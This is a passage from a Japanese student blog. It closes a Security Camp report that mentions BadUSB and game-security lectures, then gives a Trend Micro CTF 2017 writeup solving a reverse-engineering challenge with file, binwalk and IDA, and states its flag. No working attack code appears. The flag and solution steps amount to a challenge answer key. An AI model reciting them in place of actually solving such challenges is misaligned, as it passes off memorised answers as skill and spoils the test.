講師は竹迫さん.BadUSBは以前作ろうとしたのですが,対策されているUSBしかなくて諦めていたので今回受講しました.最初は竹迫さんのマインスイーパーを自動で解くやつを生で見ることができました.LTの動画で見たことがあったので,「マインスイーパーのやつだ!」と思ったりしていました.この講義は手を動かす時間がほとんどで,ひたすらBadUSBを作っていました.自分はデスクトップ上に空ファイルを大量に作るものを作ろうとしたのですが,連番のファイル名を作るやり方がわからず,結局完成せず…でも,自動で動く様は見ていてとても面白かったです.
B7 ゲームセキュリティ入門
講師は愛甲さん.愛甲さんはめっちゃ尊敬していて,生で見るのはCODE BLUE以来でしたが,振る舞いというか佇まいというか,とにかくかっこよかったです.講義は演習が中心で,途中で解説が少し入ったり,そんな感じでした.一番聞いていて面白かったのが,あるゲームを解析していた時の話で,愛甲さんがどのように解析したかを聞くことができてとても参考になりました.CEDEC CHALLENGEの前に受講したかった講義でした.
昼食は游び人さんとすずきゃんさんと食べました.
夕食はこばとソフトバンクの方お二人と食べたのですが,意外な繋がりがあったりして,世間は狭いな~という感じでした.
企業プレゼンテーションは富士通さんでした.喋っていた人が坂井さんという名字で,講師の坂井さんとお二人で質疑応答されていて,中の話とかを伺うことができました.
グループワークはいい感じに進捗が出ました.
その後サプライズプレゼントとして,本やグッズがあり,好きなのを2つ取っていいということ.
しかし順番が年齢が若い順ということで,22歳の僕は無事死亡して,貰えたのは「かるた」だけでした.
大人はつらい!!!!!!!
その後,少しだけグループで作業してスライドを作っていました.
5日目
荷造りをしていたら寝るのが3時になってしまって,4時間しか寝られませんでした.それでも最終日朝食チャレンジは成功したので,オール朝食コンプリートです.
グループワークから始まり,少し作業した後は各チームの発表を聞いていました.
自分のチームの発表者の安定感が凄く,自分にはできないな~と思っていました.
発表内容やスライドの綺麗さ,面白さなどがずば抜けてるな~と思ってたチームがその後優勝していて,だよな~という感想でした.
昼食は班員の方達と食べました.
閉会式で印象に残った言葉がいくつかあって,川口さんの「情報は発信する人に集まる」という言葉と,宮本さんの「寄り道を楽しむ」という言葉です.
川口さんの話を聞いて,これからも情報を発信していこうと思いましたし,宮本さんの話は,まさにいろいろ寄り道をしていた自分にとって結構心に残りました.
あとは写真撮影で集合写真を撮って終わり.
帰りはサケリティキャンプ(お酒)なるものが行われるらしかったのでどうしようかと迷った結果,結局前日の徹夜などから帰ることにしました.
まとめ
参加する前は,なにかやりたいことが決まればいいなぁと思って参加していました.
そして参加後,今後やっていこうと思ったことがあって,目標は達成できたのかなと思います.
その他にチューターとかにも興味は湧いて,いつかこんな自分でもやれる日が来たらいいなぁと弱気でいます.
上野さんが仰っていた通り,セキュキャンに参加すること自体はそんなに凄くなくて,その後の活動が大事だと思うので,モチベを落とさずやっていこうと思います.
講師の方々,チューターの方々,事務局の方々,その他関係者の方々,本当にありがとうございました!
Trend Micro CTF 2017 - Raimund Genes Cup - Online Qualifier Writeup(rev100)
開催期間(JST)
06/24 PM1:00 ~ 06/25 PM1:00
結果
・チーム名:wabisabi
・得点:200pt
・順位:得点したチーム中,175/294
解いた問題
・rev100
取り組んだが解けなかった問題
・Analysis-Offensive100
・rev200
・IoT/OSINT/SCADA100
はじめに
参加してました.用事があったりで全部の時間は使えなかったけど割と楽しかった.
1問しか解けてないのはいつものこと.(1問アシストしたので1.5問みたいな感じだから・・・)
Writeup
rev100
配布されるファイルは,AESで暗号化されたものが渡される感じだった.復号してからfileコマンド.
$ file pocket pocket: Zip archive data, at least v2.0 to extract
解凍するとbiscuitという名前のrarで圧縮されたファイルがでてくる.
$ unrar e biscuit
biscuit1というPE32のものと,biscuit2というpasswordつきzipの2つのファイルがでてくる.
biscuit1を実行してみる.
$ ./biscuit1 Please find sweets name starting from m for biscuit2.
mから始まるお菓子・・・と思い調べた結果,マカロンではと思い"macaron"で解凍してみるといけた.
Archive: biscuit2 [biscuit2] biscuit4 password: inflating: biscuit4 inflating: biscuit5 inflating: biscuit3
biscuit3はjpgだったのでとりあえずExifを見てみるが,特に何もない.
stringsしてみると,末尾にzipがついているのがわかる.binwalkが手っ取り早いので,
$ binwalk -e biscuit3
すると,"cream"と書かれたbiscuit.txtがでてくる.
biscuit4を見る.これはテキストファイル.
$ cat biscuit4 Please create flag. hint: Flag = TMCTF{biscuit3_ biscuit5}
biscuit3のほうは手に入っているので,biscuit5をみていく.
$ file biscuit5 biscuit5: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
実行しても特に何も表示されない.
objdumpで逆アセンブルして読んでみると,"biscu"という文字列を使って_shift_charという関数でゴニョゴニョやってる.
静的解析が辛くなったので,IDAのデモ版で実行しながらみていくことにした.
左下のルーチンを"biscu”という回数分繰り返すので,このルーチンの前あたりにブレークポイントを張って動的解析していく.
“biscu"という文字列を,先頭から順に1文字ずつ取り出して_shift_charに渡すという処理が計5回行われる.
call _shift_char
に対してステップインして中を見ていく.
最初に渡されるのは"b".
それを"abcdefg…..“というスタックに積んであるものに対して"b"が出てくるまで1文字ずつシフト.
その後,シフトした回数+1というか↑のルーチンを実行した回数分,"abcde…“という文字列を先頭から左にシフト.(正確に言うと,スタックにある"abcde…."のアドレスに回数分を加算)
すると,"b"の場合は"c",次の"i"は"h",次の"s"は"o"...となっていって最終的に"choux"となる.
よって,biscuit3の答えと合わせてTMCTF{cream_choux}でsubmitしてみるも通らない.
cream chouxで調べてみると,シュークリームが英語で"choux cream"らしく,(英語力の無さ)
TMCTF{choux_cream}にしたらいけた.
取り組んだが解けなかった問題
Analysis-Offensive100
$ file Forensic_Encyption Forensic_Encyption: MS-DOS executable, MZ for MS-DOS
これは最初,binwalkで取り出して3つのzipファイルに対してゴニョゴニョやってた.今年のPlaid CTF予選で出たZipperみたいにzipのバイナリを書き換えて修正していくものかなと思ってたけど,file_3がどうも見当たらない.
渡されたファイルのバイナリを見てみるとわかった.
00000000: 4d5a 0304 1400 0000 0800 f484 af4a bc79 MZ...........J.y 00000010: 17c2 2a34 0000 8879 0000 0600 0000 6669 ..*4...y......fi 00000020: 6c65 5f33 d45a 0958 1357 bb3e 618d c822 le_3.Z.X.W.>a.." .................
先頭のシグネチャがMZであることからMS-DOSかと思うが,file_3という文字列が見える.
これは実はzipのlocal file headerであり,もともとのシグネチャ0x504B0304の504Bを4d5aに書き換えられたものだった.
よって,そこを修正して解凍するとうまくいく.
出てきたファイルは3つ,jpg,passwordつきzip,pcapファイルがそれぞれ1つずつ.
ここからjpgをstringsしたりstegsolveで見てみたりしたけど進捗なし.
pcapファイルのほうもわからず途方に暮れていると,チームメンバーのkobadからslackが飛んできて,passwordつきのzipは解凍できたけどpcapファイルが見つからないとのこと.
そこで,自分がやった過程を共有して,あとはkobadに任せた.(プロなのですぐ解いてた.エニグマだったらしい)
rev200
RFIDの問題.
渡されたテキストファイル.
$ cat rawbits.txt Using Clock:64, Invert:0, Bits Found:625 ASK/Manchester - Clock: 64 - Decoded bitstream: 1110111110111000 1010011110111010 1100111111111111 1011101111011101 1110111110111000 1010011110111010 1100111111111111 1011101111011101 1110111110111000 1010011110111010 1100111111111111 1011101111011101 1110111110111000 1010011110111010 1100111111111111 1011101111011101 1110111110111000 1010011110111010 1100111111111111 1011101111011101 1110111110111000 1010011110111010 1100111111111111 1011101111011101 1110111110111000 1010011110111010 1100111111111111 1011101111011101 1110111110111000 1010011110111010 1100111111111111 1011101111011101
検索したら16進数に戻していたりしたので,適当にスクリプト書いて
DemodBuffer: EFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDDEFB8A7BACFFFBBDD
とかやってたぐらい.
全く知らない分野で厳しかった.
IoT/OSINT/SCADA100
これは,whoisで渡されたドメインを調べて,電話番号がわかって,同じ電話番号で登録されているドメインを見つけて,そこに書かれているメールアドレスを調べて....とかやってたぐらい.
まとめ
Google CTFよりかは難しくなかった.
rev力~~~~